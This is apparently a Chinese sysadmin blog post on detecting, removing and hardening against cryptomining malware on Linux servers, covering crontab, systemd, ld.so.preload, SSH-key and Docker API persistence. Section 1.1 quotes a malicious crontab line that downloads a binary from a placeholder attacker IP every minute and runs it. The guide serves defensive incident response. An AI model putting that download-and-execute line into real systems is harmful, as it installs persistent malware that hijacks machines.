服务器又卡了,top一看,有个进程占着几百个核在偷跑,名字还挺正经,叫啥systemd或者kworker变体,但这负载明显不该出现在一台刚停了业务流量的机器上。随手ls -l /proc/PID/exe一看,指向/tmp/...,完了,这就是典型的挖矿病毒中招现场。
这类问题说实话已经不算少见,尤其现在很多服务器开着弱口令、暴露着老版本服务,被扫到只是时间问题。挖矿木马不一定能偷走业务数据,但它能把整台机器的CPU榨干、带宽打满、账单飙升,严重时还会把系统搞瘫。这篇文章我会从常见的入侵路径、快速定位方法、彻底清理流程,到事后加固和长期监控,一步步讲清楚我在实际环境里是怎么处理Linux挖矿病毒的。适合所有Linux服务器管理员、运维同学,也包括那些一台VPS上跑着个人项目、突然发现账单不对劲的开发者。
1. 挖矿病毒是怎么进来的:典型入侵路径与中招特征
先说清楚一件事:挖矿木马能进服务器,绝大多数不是魔法,而是踩中了非常基础的配置疏漏。最常见的三条路是SSH弱口令爆破、未修补的高危服务漏洞、以及公共组件(如Redis、Docker API)未做访问控制。我把它们分开讲一下,因为处理思路的侧重点完全不一样。
1.1 从SSH弱口令到一键植入
很多服务器上的SSH还开着密码登录,用的还是root和某个简单密码的组合。攻击者用现成的爆破工具,每秒几组密码地试,跑个半天就能撞进去。进去第一件事就是拉一个挖矿脚本到/tmp,然后用curl或者wget执行下载来的二进制母体。
这个阶段最大的特点是,机器上会多出奇怪的定时任务和启动脚本。比如我处理过的一台机器,/etc/crontab里被人塞了一行:
*/1 * * * * root wget -q -O /tmp/.x86_64 http://<恶意IP>/x86_64 && chmod +x /tmp/.x86_64 && /tmp/.x86_64每隔一分钟就去拉一次,哪怕你杀掉了进程,它也会因为定时任务再次复活。这算是比较老套但依然有效的套路。
1.2 未授权访问的服务端口
像Redis没有设置密码或绑定了0.0.0.0,攻击者可以直接利用配置项写入SSH公钥,或者用crontab配合写文件的方式实现命令执行。Docker API端口如果没加访问控制,更是直接能被远程调用容器,然后在宿主机上挂一个高权限容器逃逸进去。
这类入侵的隐蔽性在于,系统日志里的痕迹很少,/var/log/auth.log也没有明显爆破记录,因为你根本没经历密码登录那一步。更麻烦的是,攻击者植入的后门可能同时存在于服务配置和容器层,清理时需要把配置回滚和服务重启一起做,不能只盯着文件和进程。
1.3 怎么判断服务器已经中招
说实话,我不太建议一上来就去翻日志,那样效率太低。最快的方式永远是看现象,再用命令逐步验证。下面这几条是我每次排查都会先跑一遍的体检项,看见中招信号的概率非常高:
- CPU占用异常高,
top或htop里出现单个进程持续占高CPU,而且进程名伪装成系统常见名称,比如kworker、syslogd、systemd的变形; - 网络连接异常,
ss -antp里出现大量指向境外IP的持久连接,端口往往不是常见的80/443,而是像3333、4444、5555这种长期稳定连接; - 磁盘出现异常文件,重点检查
/tmp、/var/tmp、/dev/shm、/usr/bin,文件时间戳可疑,命名常带点和随机字符,如./x86_64、/tmp/systemd-private-xxx; - 定时任务被篡改,
crontab -l和/var/spool/cron/里出现不属于你的条目; - 登录日志里有大量Failed password记录,或者成功登录的IP异常频繁。
中招之后的第一反应不要是慌张,先做一件事:把网络断开?不要说是直接把网线。正确的隔离操作是立即封禁可疑的外连IP,或者临时修改防火墙默认策略为拒绝,保留SSH通道继续排查,否则你连不上机器就更麻烦了。
注意:挖矿病毒是不断演进的,有些新型变种会通过rootkit隐藏进程和文件,
top和ls都可能被劫持伪装。这种情况下一上来就乱跑命令反而会误判,需要先检查命令是否被替换,然后再决定排查手段。
2. 快速定位找真凶:比top更靠谱的挖矿进程发现手法
排查挖矿病毒不能只靠肉眼扫top,那样很容易被伪装进程名骗过去。我更倾向于按照"进程→网络→文件→持久化"这条链路来做,每步都有明确指令,每一步都能解释为什么要这么做。
2.1 先看CPU和进程关系
执行top -c,然后按P键按CPU降序排列。注意看几点:
- 进程名与路径是否匹配。比如
top显示进程名是update,但进程路径是/tmp/update,这就有问题。正常系统进程路径几乎都在/usr/bin、/bin、/usr/sbin、/sbin下面; - 有没有同名进程多开。挖矿程序为了抗清理,经常会拉起多个子进程,CPU占用合计特别高;
- 进程的父子关系是否合理。
pstree -p PID能直接看出它是由谁拉起的,如果是你的SSH会话拉起的而且你没执行过任何东西,那就要高度警惕。
拿到PID后,立刻看它的细节:
ls -l /proc/1234/exe cat /proc/1234/cmdline cat /proc/1234/environ如果exe指向已被删除的文件,或者路径在/tmp、/var/tmp、/dev/shm,基本可以断定是恶意程序。cmdline如果是一串乱码或者带着矿池地址参数,就直接实锤了。
2.2 网络连接里挖矿的痕迹
挖矿木马必须连接矿池,它不可能完全不发起外连。所以查看网络连接是确定感染面最可靠的手段之一:
ss -antp | grep ESTAB重点关注哪些进程拿了非业务端口在往外连。如果进程是httpd但源端口是随机的、目标端口是4444,那基本就是挖矿的回连地址。顺便用lsof -p PID把进程打开的网络文件和文件句柄都列出来,能看到有没有加载共享库。
有些木马会走DNS隧道或者用HTTPS伪装流量,这种情况单纯看IP会有点难辨别,但矿池地址往往带有明显的特征,比如域名里含pool、mine、xmr、hash等字样。用dig @8.8.8.8 可疑域名 A反查一下归属地也能帮助你判断风险级别。
2.3 排查持久化后门
杀掉进程只是清理的第一步。挖矿病毒要想长期存活,一定会做持久化,最常驻的地方有三个:crontab、systemd服务、以及各种shell启动脚本。
crontab -l、/var/spool/cron/下的用户任务文件、/etc/cron.d/、/etc/crontab逐一检查;systemctl list-units --type=service --all里查找可疑服务,特别是那些没有厂商名称、描述里带随机字符的服务单元;/etc/rc.local、/etc/profile、/root/.bashrc、/root/.profile这些启动脚本也是木马爱藏身的地方,尤其要注意alias定义,有些木马会通过alias把ls、ps命令替换掉,让你难以看到真实文件列表。
排查完以上点,你基本就掌握了感染的全貌。接下来进入清理阶段。
3. 彻底清理摘除流程:从进程到持久化痕迹一步不落
清理挖矿病毒的核心思路是“先断外连、再杀进程、再清文件、再剔持久化”。顺序不是随便定的:如果你先杀了进程但没断外连,它可能立刻换一个PID重新下载;如果你先删文件但没杀进程,进程还在内存里跑着,文件删了也拦不住它继续发包。
3.1 封锁矿池IP与外连
拿到上面分析出的恶意IP列表后,立刻用防火墙封掉:
iptables -A OUTPUT -d 192.0.2.10 -j DROP iptables -A INPUT -s 192.0.2.10 -j DROP同时可以封死已知挖矿常用端口:
iptables -A OUTPUT -p tcp --dport 3333 -j DROP如果是云服务器,建议在安全组层面先把全部外连规则收紧,只保留你管理需要的端口,这样能保证在清理过程中木马无法把新载荷拉回来。注意这里不是让你永久禁用外网,只是给清理争取一个干净窗口期。
3.2 按顺序杀进程、删文件
先给可疑进程做快照,记录PID和文件路径:
ps -ef | grep -E 'x86_64|kworker|\.pool' | awk '{print $2, $8, $9}'然后强制结束:
kill -9 PID1 PID2 PID3如果进程有守护模式,你会发现杀完后又出现新进程。这种情况要去查它的crontab和systemd服务,把定时任务和服务先停掉再杀:
systemctl stop 可疑服务名 systemctl disable 可疑服务名杀完之后清理落盘文件,重点目录逐一扫:
ls -la /tmp /var/tmp /dev/shm /usr/bin /usr/local/bin rm -rf /tmp/.x86_64 /var/tmp/...在不确定某个文件是否安全之前,不要一下全删。可以先chmod 000加上chattr +i锁死它,观察一段时间再处理,避免误删正常文件导致业务受损。
提示:
/dev/shm是个坑,挖矿木马常利用它来执行内存中的恶意代码,因为这块区域默认是内存文件系统,重启后自动清空,很多管理员会漏检。处理完记得把/dev/shm挂载选项改成noexec,防止再次被当成执行目录。
3.3 清理定时任务、启动脚本与SSH后门
检查命令优先级是cat /etc/crontab、ls -la /etc/cron.*、crontab -u root -l,把可疑条目手动注释或删除。别只删当前用户的cron,root的、别的用户的全都要检查。
/etc/ld.so.preload是另一个常见隐蔽点。挖矿木马为了隐藏进程,会往这个文件里写入一个恶意so库,导致所有执行命令都被劫持。遇到这种情况,先把它清空再重启,然后重新验证ps、top、ls输出是否恢复正常。
SSH后门也不能漏,检查/root/.ssh/authorized_keys和/home/*/.ssh/authorized_keys里有没有你从不认识的公钥。攻击者通过弱口令进来后,往往会直接植入自己的公钥,实现随时登录。把可疑公钥删掉,并顺便修改所有账户的SSH密码。
3.4 清理后的验证动作
清理完不要急着认为万事大吉。重启一次系统,然后在开机后重新执行排查命令,确认不会立刻复现。同时看几个关键文件的时间戳,比如/etc/passwd、/etc/ld.so.preload、/etc/rc.local,如果时间戳发生过变化,还需要进一步确认谁在什么时候改的。
4. 系统加固与二次防御:让同一条路再也走不通
清理只是把账面上的毒排掉,不加固的话,等于把门重新打开,等攻击者再来一遍。下面是我每处理完一台中招机器后必做的加固清单,按优先级排序。
4.1 关闭密码登录,全面转向密钥认证
在/etc/ssh/sshd_config里做三件事:
- 把
PermitRootLogin改为prohibit-password,也就是root只允许密钥登录; - 把
PasswordAuthentication改为no,彻底关闭密码认证; - 如果你常在一个固定管理网段,也可以在防火墙里限制SSH源IP。
改完重启sshd服务后,用新终端会话测试登录确认没问题,千万不要在正开会话里直接断开,防止配置写错导致自己被关在外面。
4.2 服务暴露面收敛与漏洞补丁
用ss -lntp列出所有监听端口,逐个确认是不是业务必须的。像Redis、Mongo这类数据库服务如果不需要对外提供服务,就绑定到127.0.0.1。需要提供服务的,也要加上认证和网络白名单。
系统软件包及时更新,特别是内核和Web服务组件。很多挖矿病毒就是通过老版本php、nginx、云组件漏洞进来的。至少每个月做一次全量yum update或者apt update && apt upgrade,并在更新后重启服务使补丁生效。
4.3 利用fail2ban之类工具做暴力破解防护
配置一个fail2ban,对连续失败登录的IP实施封禁。我一般设置600秒内失败5次就禁止1小时。虽然不能根治,但能大幅提高爆破的成本。同时把日志审计打开,/var/log/auth.log的logrotate压起来,留好追溯依据。
4.4 基础监控告警
没有监控的服务器等于裸奔。哪怕是最轻量的方案,也建议做这几项:
- 用
top定时采集CPU占用数据,超过阈值就报警; - 监控关键文件哈希,比如
ps、top、/etc/crontab,有改动就提醒; - 监控外连IP数量和目的地区,异常暴增立刻告警。
具体选哪种监控工具就看你团队规模了,个人机器哪怕用脚本定时发邮件通知也有效。重点是要有“异常发生能被看见”这个能力。
5. 实际排查中容易掉进去的坑与我的应对经验
清理挖矿病毒这件事,最难的地方不在于杀毒本身,而在于你会遇到一大堆真假难辨的干扰项。我把几个踩过分的点列在这里,里面全是实际案例,而不是理论清单。
5.1 进程伪装和rootkit劫持
我遇到过一台机器,用top看完全正常,CPU占用也不高,但是机器整体卡得不行。后来发现是rootkit把top命令劫持了,输出做了过滤,恶意进程被隐藏。这种情况建议使用静态编译的工具,或者挂一个干净的系统工具箱来排查,必要时直接用busybox这类自带静态版工具。
同时检查/etc/ld.so.preload,如果里面指向了一个不寻常的so文件,直接清空内容再重启系统。多次实测下来,重启后进程列表和文件列表会恢复正常可见性。
5.2 母体文件删了又被拉回来
有些木马会同时植入多个下载源,比如同时在crontab、systemd、rc.local里各放一条下载指令。如果你只清理了其中一个,几分钟后文件又回来了。我的做法是用grep -r "curl\|wget" /etc /var/spool/cron /root把所有含下载行为的配置全扫出来,一次性全部清除,然后立刻做文件系统级的快照对比,确认没有新增文件。
5.3 处理容器场景的额外注意点
现在很多业务跑在Docker容器里,挖矿病毒也可能藏进容器内。容器内清理比宿主机复杂,因为容器重建后恶意配置还会跟着镜像走。我见过因为宿主机的Docker API未授权,攻击者直接往系宿主机上拉了一个ubuntu:latest容器,挂载整个根目录然后写入公钥的案例。
所以容器的加固逻辑是:先锁定宿主机的Docker socket和API端口,不要在公网暴露2375端口;再审视所有镜像的基础来源,不用的容器立刻删掉;最后对容器内文件系统和进程做同样排查,必要时直接重置节点从干净镜像重建业务容器。
5.4 清理后的日志复盘思路
在处理完成后,我保留了一个习惯:把排查过程中的命令输出、可疑IP、文件哈希全部打包存下来。这些信息不仅能用作文档留档,还可以去威胁情报网站反查对应IP,了解这个病毒家族的后台和矿池动向。对于长期运维战略来说是很有价值的素材。
我经常在社区里看到有人问“清理了但不知道从哪里进来的”,这种情况往往是复盘做晚了。如果嫌疑还在,不妨把auth.log拉到本地,统计一批成功登录IP,再和目标IP做交叉比对,大概率就能还原出最初的那条入侵路径。
最后分享两个小技巧
一是清理完毕后,我建议立刻把这次事件里用过的命令整理成一个可执行的修复脚本,放在本地而不是服务器上,下次同类问题可以直接套用。二是如果你管理着多台服务器,尽量用统一的配置管理工具下发基线,别每台都手动加固,fail2ban、防火墙规则、SSH配置这些都在配置列表里,一次性下发,比事后单机补洞高效得多。
处理Linux挖矿病毒,说白了是一次安全基线重建的过程,而不仅仅是杀一个进程。把它当作一次系统体检来做,大概率不会再被同一套路第二次打趴下。